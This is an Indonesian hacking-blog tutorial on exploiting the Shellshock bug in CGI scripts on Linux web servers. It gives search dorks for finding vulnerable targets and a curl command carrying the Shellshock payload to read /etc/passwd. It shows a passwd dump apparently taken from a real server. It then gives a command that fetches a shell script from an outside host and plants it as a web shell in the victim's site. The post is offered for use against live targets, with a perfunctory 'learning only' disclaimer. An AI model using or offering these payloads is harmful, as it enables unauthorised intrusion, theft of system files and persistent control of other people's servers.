Shellshock Vulnerability Exploit on Linux Server

Shellshock Vulnerability Exploit on Linux Server - Hai Semua, selamat datang di blog Noob1t4, Pada Artikel yang kalian baca kali ini dengan judul Shellshock Vulnerability Exploit on Linux Server, kami telah mempersiapkan artikel ini dengan baik untuk kalian baca dan ambil informasi didalamnya. mudah-mudahan isi postingan yang kami tulis ini dapat kalian pahami. baiklah, selamat membaca.

Oke sebener nya ini bug lama sih. 2014 sudah dipublish. dan sudah banyak target vuln yang dipatch. tapi kenyataannya web Paspampres jebol gara gara bug lama ini. helehhh…. admin web Indo payah ! . Oke sekarang saya mau jelasin sedikit cara exploitbug Shellshock ini.

Bahan :

VPS . saran sih pake VPS, kalo enggak, ribet mesti ip statis, ngubah port, konek netcat dll. Ane juga gak mudeng.

PHP Exploit :

disini

Dork :

inurl:/cgi-bin/ ext:sh

inurl:/cgi-bin/ ext:cgi 

use your brain, bitch !

Oke saya anggep sudah dapet target vuln .

contoh aja deh :

localhost/cgi-bin/test-cgi

Sekarang kita login vps dulu.

simpan exploit php diatas di folder root. nyari gampang aja. kasih nama xxx.php

Setelah itu, kita masukkan command berikut .

curl -A “() { :; }; echo; /bin/cat /etc/passwd” http://localhost/cgi-bin/test-cgi > jembot.txt

Ini untuk melihat isi dari file etc/passwd dan disimpan di file dengan nama jembot.txt

sekarang masukkan command cat jembot.txt

Pastikan isi dari etc/passwd nya muncul disini.

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/etc/news:

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

rpm:x:37:37::/var/lib/rpm:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

pcap:x:77:77::/var/arpwatch:/sbin/nologin

rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin

mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

apache:x:48:48:Apache:/var/www:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin

gdm:x:42:42::/var/gdm:/sbin/nologin

sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin

oracle:x:500:500::/home/oracle:/bin/bash

asywprod:x:503:502:asycuda world live operations:/home2/asywprod:/bin/bash

asy:x:504:504:asycuda prototype owner:/home2/asy:/bin/bash

asyw:x:505:502:Asycuda super user:/home2/asyw:/bin/bash

backup:x:506:506::/home/backup:/bin/bash

Tujuannya untuk melitah path public_html dari web yang akan kita exploit tadi.

Misalkan kita sudah tau kalo path web nya ada di /home2/asy/public_html/

maka masukkan command :

php xxx.php -u http://localhost/cgi-bin/test-cgi -c “wget http://yuyudhn1337.org/exp/cmdshell.txt -O /home2/asy/public_html/memek.php”

Pastikan sampai ada notif “command send to server”

Cek shellmu akan berada di localhost/memek.php

Sekian tutor kali ini semoga bermanfaat.

NB : copas tanpa sumber, mandul. thanks

Sumber http://noob1t4.blogspot.com/

Sekian Artikel Shellshock Vulnerability Exploit on Linux Server.

Terima kasih telah membaca artikel Shellshock Vulnerability Exploit on Linux Server, mudah-mudahan bisa memberi manfaat untuk kalian semua. Baiklah, sampai jumpa di postingan artikel lainnya.

Semua artikel tutorial di blog ini hanya untuk sebatas Pembelajaran dan Pengetahuan saja, jika kalian meyalahgunakan tutorial di blog ini, itu bukan tanggung jawab saya. Terima kasih sudah berkunjung ke blog Noob1t4, saya harap agan berkunjung kembali kesini

Share this post